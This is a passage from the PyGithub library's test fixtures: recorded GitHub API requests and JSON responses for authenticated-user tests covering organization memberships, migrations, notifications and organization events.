AAAAB3NzaC1yc2EAAAADAQABAAABAQDNQS4cnMOsGKJXBZ7DQ+6dzAHXwNYjw9W5aoonjr4pK7C9xvRPqA7QyQHub8fiYD6uj7OM8FLQgoMH1ewQULuQdH1JPkzjxPw5UpFn8eQaKOVlBkfGCiNaUOTejt5gxMrNZfPJmh2PnhsU+WXAyNNARor8CDnAmdgzHmaKKtMnRpVUJeIqKmgXhjx9lON5dZFyQGY9KIiR5gA/GWE9dFRHULoc+0gLEAR7AJ3emh55x4pqsURJpc2cdZ/X213l4Qk7HP2s7QIcihlbuxDJG9UTwjWlcIwjlQzarzhiRSyH9F3YmlT3THAdtDYX9imiBpEP52CPYNfDGrzzhbUqYj3r","verified":true,"title":"vincent@macbook","id":2427679}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/AuthenticatedUser.testGetMemberships.txt0000644000175100001660000002754114756101563026166 0ustar00runnerdockerhttps GET api.github.com None /user/memberships/orgs {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Mon, 09 Sep 2024 14:56:03 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"64a96e0eaa998b8a898ced522b64494c065bb32b4c0768d689b9b98b2fa849c1"'), ('X-OAuth-Scopes', 'gist, read:org, repo, workflow'), ('X-Accepted-OAuth-Scopes', 'admin:org, read:org, repo, user, write:org'), ('x-oauth-client-id', '178c6fc778ccc68e1d6a'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4977'), ('X-RateLimit-Reset', '1725895359'), ('X-RateLimit-Used', '23'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', '2721:3E994B:103429F2:106C9200:66DF0C83')] [{"url":"https://api.github.com/orgs/aneyem-github/memberships/eduramirezh","state":"active","role":"member","organization_url":"https://api.github.com/orgs/aneyem-github","user":{"login":"eduramirezh","id":1679647,"node_id":"MDQ6VXNlcjE2Nzk2NDc=","avatar_url":"https://avatars.githubusercontent.com/u/1679647?v=4","gravatar_id":"","url":"https://api.github.com/users/eduramirezh","html_url":"https://github.com/eduramirezh","followers_url":"https://api.github.com/users/eduramirezh/followers","following_url":"https://api.github.com/users/eduramirezh/following{/other_user}","gists_url":"https://api.github.com/users/eduramirezh/gists{/gist_id}","starred_url":"https://api.github.com/users/eduramirezh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/eduramirezh/subscriptions","organizations_url":"https://api.github.com/users/eduramirezh/orgs","repos_url":"https://api.github.com/users/eduramirezh/repos","events_url":"https://api.github.com/users/eduramirezh/events{/privacy}","received_events_url":"https://api.github.com/users/eduramirezh/received_events","type":"User","site_admin":false},"organization":{"login":"aneyem-github","id":1649871,"node_id":"MDEyOk9yZ2FuaXphdGlvbjE2NDk4NzE=","url":"https://api.github.com/orgs/aneyem-github","repos_url":"https://api.github.com/orgs/aneyem-github/repos","events_url":"https://api.github.com/orgs/aneyem-github/events","hooks_url":"https://api.github.com/orgs/aneyem-github/hooks","issues_url":"https://api.github.com/orgs/aneyem-github/issues","members_url":"https://api.github.com/orgs/aneyem-github/members{/member}","public_members_url":"https://api.github.com/orgs/aneyem-github/public_members{/member}","avatar_url":"https://avatars.githubusercontent.com/u/1649871?v=4","description":null}},{"url":"https://api.github.com/orgs/nko4/memberships/eduramirezh","state":"active","role":"member","organization_url":"https://api.github.com/orgs/nko4","user":{"login":"eduramirezh","id":1679647,"node_id":"MDQ6VXNlcjE2Nzk2NDc=","avatar_url":"https://avatars.githubusercontent.com/u/1679647?v=4","gravatar_id":"","url":"https://api.github.com/users/eduramirezh","html_url":"https://github.com/eduramirezh","followers_url":"https://api.github.com/users/eduramirezh/followers","following_url":"https://api.github.com/users/eduramirezh/following{/other_user}","gists_url":"https://api.github.com/users/eduramirezh/gists{/gist_id}","starred_url":"https://api.github.com/users/eduramirezh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/eduramirezh/subscriptions","organizations_url":"https://api.github.com/users/eduramirezh/orgs","repos_url":"https://api.github.com/users/eduramirezh/repos","events_url":"https://api.github.com/users/eduramirezh/events{/privacy}","received_events_url":"https://api.github.com/users/eduramirezh/received_events","type":"User","site_admin":false},"organization":{"login":"nko4","id":3877928,"node_id":"MDEyOk9yZ2FuaXphdGlvbjM4Nzc5Mjg=","url":"https://api.github.com/orgs/nko4","repos_url":"https://api.github.com/orgs/nko4/repos","events_url":"https://api.github.com/orgs/nko4/events","hooks_url":"https://api.github.com/orgs/nko4/hooks","issues_url":"https://api.github.com/orgs/nko4/issues","members_url":"https://api.github.com/orgs/nko4/members{/member}","public_members_url":"https://api.github.com/orgs/nko4/public_members{/member}","avatar_url":"https://avatars.githubusercontent.com/u/3877928?v=4","description":null}},{"url":"https://api.github.com/orgs/geoservel/memberships/eduramirezh","state":"active","role":"admin","organization_url":"https://api.github.com/orgs/geoservel","user":{"login":"eduramirezh","id":1679647,"node_id":"MDQ6VXNlcjE2Nzk2NDc=","avatar_url":"https://avatars.githubusercontent.com/u/1679647?v=4","gravatar_id":"","url":"https://api.github.com/users/eduramirezh","html_url":"https://github.com/eduramirezh","followers_url":"https://api.github.com/users/eduramirezh/followers","following_url":"https://api.github.com/users/eduramirezh/following{/other_user}","gists_url":"https://api.github.com/users/eduramirezh/gists{/gist_id}","starred_url":"https://api.github.com/users/eduramirezh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/eduramirezh/subscriptions","organizations_url":"https://api.github.com/users/eduramirezh/orgs","repos_url":"https://api.github.com/users/eduramirezh/repos","events_url":"https://api.github.com/users/eduramirezh/events{/privacy}","received_events_url":"https://api.github.com/users/eduramirezh/received_events","type":"User","site_admin":false},"organization":{"login":"geoservel","id":6774673,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3NzQ2NzM=","url":"https://api.github.com/orgs/geoservel","repos_url":"https://api.github.com/orgs/geoservel/repos","events_url":"https://api.github.com/orgs/geoservel/events","hooks_url":"https://api.github.com/orgs/geoservel/hooks","issues_url":"https://api.github.com/orgs/geoservel/issues","members_url":"https://api.github.com/orgs/geoservel/members{/member}","public_members_url":"https://api.github.com/orgs/geoservel/public_members{/member}","avatar_url":"https://avatars.githubusercontent.com/u/6774673?v=4","description":null}},{"url":"https://api.github.com/orgs/iic2154-uc-cl/memberships/eduramirezh","state":"active","role":"member","organization_url":"https://api.github.com/orgs/iic2154-uc-cl","user":{"login":"eduramirezh","id":1679647,"node_id":"MDQ6VXNlcjE2Nzk2NDc=","avatar_url":"https://avatars.githubusercontent.com/u/1679647?v=4","gravatar_id":"","url":"https://api.github.com/users/eduramirezh","html_url":"https://github.com/eduramirezh","followers_url":"https://api.github.com/users/eduramirezh/followers","following_url":"https://api.github.com/users/eduramirezh/following{/other_user}","gists_url":"https://api.github.com/users/eduramirezh/gists{/gist_id}","starred_url":"https://api.github.com/users/eduramirezh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/eduramirezh/subscriptions","organizations_url":"https://api.github.com/users/eduramirezh/orgs","repos_url":"https://api.github.com/users/eduramirezh/repos","events_url":"https://api.github.com/users/eduramirezh/events{/privacy}","received_events_url":"https://api.github.com/users/eduramirezh/received_events","type":"User","site_admin":false},"organization":{"login":"iic2154-uc-cl","id":7002324,"node_id":"MDEyOk9yZ2FuaXphdGlvbjcwMDIzMjQ=","url":"https://api.github.com/orgs/iic2154-uc-cl","repos_url":"https://api.github.com/orgs/iic2154-uc-cl/repos","events_url":"https://api.github.com/orgs/iic2154-uc-cl/events","hooks_url":"https://api.github.com/orgs/iic2154-uc-cl/hooks","issues_url":"https://api.github.com/orgs/iic2154-uc-cl/issues","members_url":"https://api.github.com/orgs/iic2154-uc-cl/members{/member}","public_members_url":"https://api.github.com/orgs/iic2154-uc-cl/public_members{/member}","avatar_url":"https://avatars.githubusercontent.com/u/7002324?v=4","description":""}},{"url":"https://api.github.com/orgs/nnodes/memberships/eduramirezh","state":"active","role":"member","organization_url":"https://api.github.com/orgs/nnodes","user":{"login":"eduramirezh","id":1679647,"node_id":"MDQ6VXNlcjE2Nzk2NDc=","avatar_url":"https://avatars.githubusercontent.com/u/1679647?v=4","gravatar_id":"","url":"https://api.github.com/users/eduramirezh","html_url":"https://github.com/eduramirezh","followers_url":"https://api.github.com/users/eduramirezh/followers","following_url":"https://api.github.com/users/eduramirezh/following{/other_user}","gists_url":"https://api.github.com/users/eduramirezh/gists{/gist_id}","starred_url":"https://api.github.com/users/eduramirezh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/eduramirezh/subscriptions","organizations_url":"https://api.github.com/users/eduramirezh/orgs","repos_url":"https://api.github.com/users/eduramirezh/repos","events_url":"https://api.github.com/users/eduramirezh/events{/privacy}","received_events_url":"https://api.github.com/users/eduramirezh/received_events","type":"User","site_admin":false},"organization":{"login":"nnodes","id":12845538,"node_id":"MDEyOk9yZ2FuaXphdGlvbjEyODQ1NTM4","url":"https://api.github.com/orgs/nnodes","repos_url":"https://api.github.com/orgs/nnodes/repos","events_url":"https://api.github.com/orgs/nnodes/events","hooks_url":"https://api.github.com/orgs/nnodes/hooks","issues_url":"https://api.github.com/orgs/nnodes/issues","members_url":"https://api.github.com/orgs/nnodes/members{/member}","public_members_url":"https://api.github.com/orgs/nnodes/public_members{/member}","avatar_url":"https://avatars.githubusercontent.com/u/12845538?v=4","description":""}},{"url":"https://api.github.com/orgs/sushiclm/memberships/eduramirezh","state":"active","role":"admin","organization_url":"https://api.github.com/orgs/sushiclm","user":{"login":"eduramirezh","id":1679647,"node_id":"MDQ6VXNlcjE2Nzk2NDc=","avatar_url":"https://avatars.githubusercontent.com/u/1679647?v=4","gravatar_id":"","url":"https://api.github.com/users/eduramirezh","html_url":"https://github.com/eduramirezh","followers_url":"https://api.github.com/users/eduramirezh/followers","following_url":"https://api.github.com/users/eduramirezh/following{/other_user}","gists_url":"https://api.github.com/users/eduramirezh/gists{/gist_id}","starred_url":"https://api.github.com/users/eduramirezh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/eduramirezh/subscriptions","organizations_url":"https://api.github.com/users/eduramirezh/orgs","repos_url":"https://api.github.com/users/eduramirezh/repos","events_url":"https://api.github.com/users/eduramirezh/events{/privacy}","received_events_url":"https://api.github.com/users/eduramirezh/received_events","type":"User","site_admin":false},"organization":{"login":"sushiclm","id":22522358,"node_id":"MDEyOk9yZ2FuaXphdGlvbjIyNTIyMzU4","url":"https://api.github.com/orgs/sushiclm","repos_url":"https://api.github.com/orgs/sushiclm/repos","events_url":"https://api.github.com/orgs/sushiclm/events","hooks_url":"https://api.github.com/orgs/sushiclm/hooks","issues_url":"https://api.github.com/orgs/sushiclm/issues","members_url":"https://api.github.com/orgs/sushiclm/members{/member}","public_members_url":"https://api.github.com/orgs/sushiclm/public_members{/member}","avatar_url":"https://avatars.githubusercontent.com/u/22522358?v=4","description":null}}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/AuthenticatedUser.testGetMigrations.txt0000644000175100001660000001707614756101563026026 0ustar00runnerdockerhttps GET api.github.com None /user/migrations?per_page=1 {'Accept': 'application/vnd.github.wyandotte-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Thu, 13 Sep 2018 14:26:23 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4991'), ('X-RateLimit-Reset', '1536851865'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', 'W/"13afe069c96184cd23d268d9b9f2f769"'), ('X-GitHub-Media-Type', 'github.wyandotte-preview; format=json'), ('Link', '; rel="next", ; rel="last"'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-Runtime-rack', '0.075443'), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '7907:1FE0:A9FC22:18E10B7:5B9A738E')] [{"id":25308,"node_id":"MDk6TWlncmF0aW9uMjUzMDg=","owner":{"login":"singh811","id":41840111,"node_id":"MDQ6VXNlcjQxODQwMTEx","avatar_url":"https://avatars2.githubusercontent.com/u/41840111?v=4","gravatar_id":"","url":"https://api.github.com/users/singh811","html_url":"https://github.com/singh811","followers_url":"https://api.github.com/users/singh811/followers","following_url":"https://api.github.com/users/singh811/following{/other_user}","gists_url":"https://api.github.com/users/singh811/gists{/gist_id}","starred_url":"https://api.github.com/users/singh811/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/singh811/subscriptions","organizations_url":"https://api.github.com/users/singh811/orgs","repos_url":"https://api.github.com/users/singh811/repos","events_url":"https://api.github.com/users/singh811/events{/privacy}","received_events_url":"https://api.github.com/users/singh811/received_events","type":"User","site_admin":false},"guid":"cb974334-b760-11e8-9900-466f9e1633d8","state":"exported","lock_repositories":false,"exclude_attachments":false,"repositories":[{"id":148631065,"node_id":"MDEwOlJlcG9zaXRvcnkxNDg2MzEwNjU=","name":"sample-repo","full_name":"singh811/sample-repo","owner":{"login":"singh811","id":41840111,"node_id":"MDQ6VXNlcjQxODQwMTEx","avatar_url":"https://avatars2.githubusercontent.com/u/41840111?v=4","gravatar_id":"","url":"https://api.github.com/users/singh811","html_url":"https://github.com/singh811","followers_url":"https://api.github.com/users/singh811/followers","following_url":"https://api.github.com/users/singh811/following{/other_user}","gists_url":"https://api.github.com/users/singh811/gists{/gist_id}","starred_url":"https://api.github.com/users/singh811/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/singh811/subscriptions","organizations_url":"https://api.github.com/users/singh811/orgs","repos_url":"https://api.github.com/users/singh811/repos","events_url":"https://api.github.com/users/singh811/events{/privacy}","received_events_url":"https://api.github.com/users/singh811/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/singh811/sample-repo","description":null,"fork":false,"url":"https://api.github.com/repos/singh811/sample-repo","forks_url":"https://api.github.com/repos/singh811/sample-repo/forks","keys_url":"https://api.github.com/repos/singh811/sample-repo/keys{/key_id}","collaborators_url":"https://api.github.com/repos/singh811/sample-repo/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/singh811/sample-repo/teams","hooks_url":"https://api.github.com/repos/singh811/sample-repo/hooks","issue_events_url":"https://api.github.com/repos/singh811/sample-repo/issues/events{/number}","events_url":"https://api.github.com/repos/singh811/sample-repo/events","assignees_url":"https://api.github.com/repos/singh811/sample-repo/assignees{/user}","branches_url":"https://api.github.com/repos/singh811/sample-repo/branches{/branch}","tags_url":"https://api.github.com/repos/singh811/sample-repo/tags","blobs_url":"https://api.github.com/repos/singh811/sample-repo/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/singh811/sample-repo/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/singh811/sample-repo/git/refs{/sha}","trees_url":"https://api.github.com/repos/singh811/sample-repo/git/trees{/sha}","statuses_url":"https://api.github.com/repos/singh811/sample-repo/statuses/{sha}","languages_url":"https://api.github.com/repos/singh811/sample-repo/languages","stargazers_url":"https://api.github.com/repos/singh811/sample-repo/stargazers","contributors_url":"https://api.github.com/repos/singh811/sample-repo/contributors","subscribers_url":"https://api.github.com/repos/singh811/sample-repo/subscribers","subscription_url":"https://api.github.com/repos/singh811/sample-repo/subscription","commits_url":"https://api.github.com/repos/singh811/sample-repo/commits{/sha}","git_commits_url":"https://api.github.com/repos/singh811/sample-repo/git/commits{/sha}","comments_url":"https://api.github.com/repos/singh811/sample-repo/comments{/number}","issue_comment_url":"https://api.github.com/repos/singh811/sample-repo/issues/comments{/number}","contents_url":"https://api.github.com/repos/singh811/sample-repo/contents/{+path}","compare_url":"https://api.github.com/repos/singh811/sample-repo/compare/{base}...{head}","merges_url":"https://api.github.com/repos/singh811/sample-repo/merges","archive_url":"https://api.github.com/repos/singh811/sample-repo/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/singh811/sample-repo/downloads","issues_url":"https://api.github.com/repos/singh811/sample-repo/issues{/number}","pulls_url":"https://api.github.com/repos/singh811/sample-repo/pulls{/number}","milestones_url":"https://api.github.com/repos/singh811/sample-repo/milestones{/number}","notifications_url":"https://api.github.com/repos/singh811/sample-repo/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/singh811/sample-repo/labels{/name}","releases_url":"https://api.github.com/repos/singh811/sample-repo/releases{/id}","deployments_url":"https://api.github.com/repos/singh811/sample-repo/deployments","created_at":"2018-09-13T11:58:30Z","updated_at":"2018-09-13T14:24:59Z","pushed_at":"2018-09-13T11:58:31Z","git_url":"git://github.com/singh811/sample-repo.git","ssh_url":"git@github.com:singh811/sample-repo.git","clone_url":"https://github.com/singh811/sample-repo.git","svn_url":"https://github.com/singh811/sample-repo","homepage":null,"size":0,"stargazers_count":0,"watchers_count":0,"language":null,"has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"open_issues_count":0,"license":null,"forks":0,"open_issues":0,"watchers":0,"default_branch":"master","permissions":{"admin":true,"push":true,"pull":true}}],"url":"https://api.github.com/user/migrations/25308","archive_url":"https://api.github.com/user/migrations/25308/archive","created_at":"2018-09-13T19:54:59.000+05:30","updated_at":"2018-09-13T19:55:10.000+05:30"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/AuthenticatedUser.testGetNotification.txt0000644000175100001660000000164714756101563026335 0ustar00runnerdockerhttps GET api.github.com None /notifications/threads/8406712 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4999'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('x-ratelimit-limit', '5000'), ('vary', 'Accept, Authorization, Cookie'), ('content-length', '16567'), ('server', 'nginx'), ('last-modified', 'Fri, 24 Aug 2012 07:05:12 GMT'), ('connection', 'keep-alive'), ('etag', '"eb52c03081d2fc22f26ed2718921e500"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Sat, 08 Sep 2012 17:26:28 GMT'), ('content-type', 'application/json; charset=utf-8')] {"id": "8406712","unread": false,"reason": "author","updated_at": "2013-03-15T05:43:11Z","last_read_at": "2013-03-15T06:06:34Z","subject": {"title": "Feature/coveralls","type": "PullRequest"},"repository": {"id": 8432784}} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/AuthenticatedUser.testGetNotifications.txt0000644000175100001660000000165414756101563026516 0ustar00runnerdockerhttps GET api.github.com None /notifications?participating=true {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4999'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('x-ratelimit-limit', '5000'), ('vary', 'Accept, Authorization, Cookie'), ('content-length', '16567'), ('server', 'nginx'), ('last-modified', 'Fri, 24 Aug 2012 07:05:12 GMT'), ('connection', 'keep-alive'), ('etag', '"eb52c03081d2fc22f26ed2718921e500"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Sat, 08 Sep 2012 17:26:28 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"id": "8406712","unread": false,"reason": "author","updated_at": "2013-03-15T05:43:11Z","last_read_at": "2013-03-15T06:06:34Z","subject": {"title": "Feature/coveralls","type": "PullRequest"},"repository": {"id": 8432784}}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/AuthenticatedUser.testGetNotificationsWithOtherArguments.txt0000644000175100001660000000115114756101563032232 0ustar00runnerdockerhttps GET api.github.com None /notifications?all=true {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4999'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('content-length', '2'), ('server', 'GitHub.com'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d751713988987e9331980363e24189ce"'), ('cache-control', 'max-age=0, private, must-revalidate'), ('date', 'Tue, 19 Mar 2013 21:05:52 GMT'), ('content-type', 'application/json; charset=utf-8')] [] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/AuthenticatedUser.testGetOrganizationEvents.txt0000644000175100001660000010313314756101563027531 0ustar00runnerdockerhttps GET api.github.com None /orgs/BeaverSoftware {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4969'), ('content-length', '716'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d1b89d0f179a7977b3521babf470b71e"'), ('date', 'Sat, 26 May 2012 20:13:58 GMT'), ('content-type', 'application/json; charset=utf-8')] {"private_gists":0,"type":"Organization","company":null,"location":"Paris, France","following":0,"blog":null,"avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","total_private_repos":0,"followers":0,"owned_private_repos":0,"disk_usage":112,"collaborators":0,"billing_email":"BeaverSoftware@vincent-jacques.net","html_url":"https://github.com/BeaverSoftware","url":"https://api.github.com/orgs/BeaverSoftware","name":null,"login":"BeaverSoftware","public_repos":2,"public_gists":0,"email":null,"id":1424031,"plan":{"private_repos":0,"name":"free","space":307200},"created_at":"2012-02-09T19:20:12Z"} https GET api.github.com None /user {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4968'), ('content-length', '801'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"9459b6e1e4805aad5e10d13344d6ffbf"'), ('date', 'Sat, 26 May 2012 20:13:59 GMT'), ('content-type', 'application/json; charset=utf-8')] {"public_repos":11,"type":"User","hireable":false,"disk_usage":17080,"blog":"http://vincent-jacques.net","bio":"","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","total_private_repos":5,"plan":{"private_repos":5,"collaborators":1,"name":"micro","space":614400},"owned_private_repos":5,"company":"Criteo","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","collaborators":0,"public_gists":3,"email":"vincent@vincent-jacques.net","followers":13,"name":"Vincent Jacques","private_gists":5,"created_at":"2010-07-09T06:10:06Z","location":"Paris, France","id":327146,"following":24,"html_url":"https://github.com/jacquev6"} https GET api.github.com None /users/jacquev6/events/orgs/BeaverSoftware {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4967'), ('content-length', '31370'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next"'), ('etag', '"61ca146024fe83f06b9930f23033224f"'), ('date', 'Sat, 26 May 2012 20:14:00 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"type":"CreateEvent","payload":{"master_branch":"master","description":null,"ref":null,"ref_type":"repository"},"public":true,"repo":{"url":"https://api.github.com/repos/BeaverSoftware/CreatedByPyGithub","id":3616888,"name":"BeaverSoftware/CreatedByPyGithub"},"org":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/orgs/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"created_at":"2012-03-04T08:17:15Z","id":"1526182616","actor":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/users/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"}},{"type":"CreateEvent","payload":{"master_branch":"master","description":null,"ref":null,"ref_type":"repository"},"public":true,"repo":{"url":"https://api.github.com/repos/BeaverSoftware/CreatedByPyGithub","id":3610173,"name":"BeaverSoftware/CreatedByPyGithub"},"org":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/orgs/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"created_at":"2012-03-03T11:16:34Z","id":"1526021988","actor":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/users/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"}},{"type":"PushEvent","payload":{"head":"390bcc2b855d419e9fd6727049aa9217db56a06a","size":1,"push_id":65381113,"commits":[{"author":{"email":"BeaverSoftware@vincent-jacques.net","name":"BeaverSoftware"},"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub/commits/390bcc2b855d419e9fd6727049aa9217db56a06a","message":"This commit was created by PyGithub","distinct":true,"sha":"390bcc2b855d419e9fd6727049aa9217db56a06a"}],"ref":"refs/heads/master"},"public":true,"repo":{"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub","id":3609352,"name":"BeaverSoftware/TestPyGithub"},"org":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/orgs/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"created_at":"2012-03-03T08:57:40Z","id":"1526010140","actor":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/users/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"}},{"type":"PushEvent","payload":{"head":"1c29d761d3e929afcbf8c6cc44b8181068d2d974","size":2,"push_id":65381112,"commits":[{"author":{"email":"BeaverSoftware@vincent-jacques.net","name":"BeaverSoftware"},"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub/commits/998f4cd5ba9501a7ccff79b0011f4220f16b0271","message":"This commit was created by PyGithub","distinct":false,"sha":"998f4cd5ba9501a7ccff79b0011f4220f16b0271"},{"author":{"email":"BeaverSoftware@vincent-jacques.net","name":"BeaverSoftware"},"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub/commits/1c29d761d3e929afcbf8c6cc44b8181068d2d974","message":"This commit was created by 